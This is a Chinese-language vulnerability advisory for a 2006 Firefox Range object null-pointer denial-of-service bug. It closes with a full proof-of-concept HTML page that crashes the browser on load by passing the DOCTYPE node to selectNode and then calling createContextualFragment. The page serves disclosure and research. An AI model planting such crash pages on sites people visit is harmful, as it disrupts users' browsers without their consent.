Mozilla Firefox Range脚本对象拒绝服务漏洞
发布日期:2006-10-30
更新日期:2006-11-01
受影响系统:Mozilla Firefox <= 1.5.0.7
Mozilla Firefox 2.0
描述:
BUGTRAQ ID:
20799
Firefox是一款开放源码的WEB浏览器。
Firefox的Range对象中存在空指针引用问题,成功利用这个漏洞的攻击者可以导致浏览器崩溃。
可以使用selectNode方式初始化Range对象选择将要注入Range中的节点,也可以使用createContextualFragment方式创建文档碎片,如下所示:
var tagString = "<div>I am a div node</div>";
var range = document.createRange();
range.selectNode(document.getElementsByTagName("div").item(0));
var documentFragment = range.createContextualFragment(tagString);
document.body.appendChild(documentFragment);
可见使用createRange文档方式创建了一个范围,然后对当前文档中的一些元素使用了selectNode方式初始化范围。这时就可以使用createContextualFragment创建可注入到文档中的文档碎片。在向selectNode方式传送DOCUMENT_TYPE_NODE (<!DOCTYPE...)元素时Firefox没有正确的处理,导致在调用createContextualFragment方式时会触发空指针引用。
<*来源:Carlos Barros (
barros@barrossecurity.com)
链接:
http://marc.theaimsgroup.com/?l=bugtraq&m=116231967430984&w=2
http://lists.grok.org.uk/pipermail/full-disclosure/2006-October/050416.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
--- snip ---
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<script type="text/javascript">
function do_crash()
{
var range;
range = document.createRange();
[1] range.selectNode(document.firstChild);
[2] range.createContextualFragment('<span></span>');
}
</script>
</head>
<body onload="do_crash()">
<p>Good bye Firefox!</p>
</body>
</html>
--- snip ---
建议:
厂商补丁:
Mozilla
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.mozilla.org/浏览次数:3108
严重程度:0(网友投票)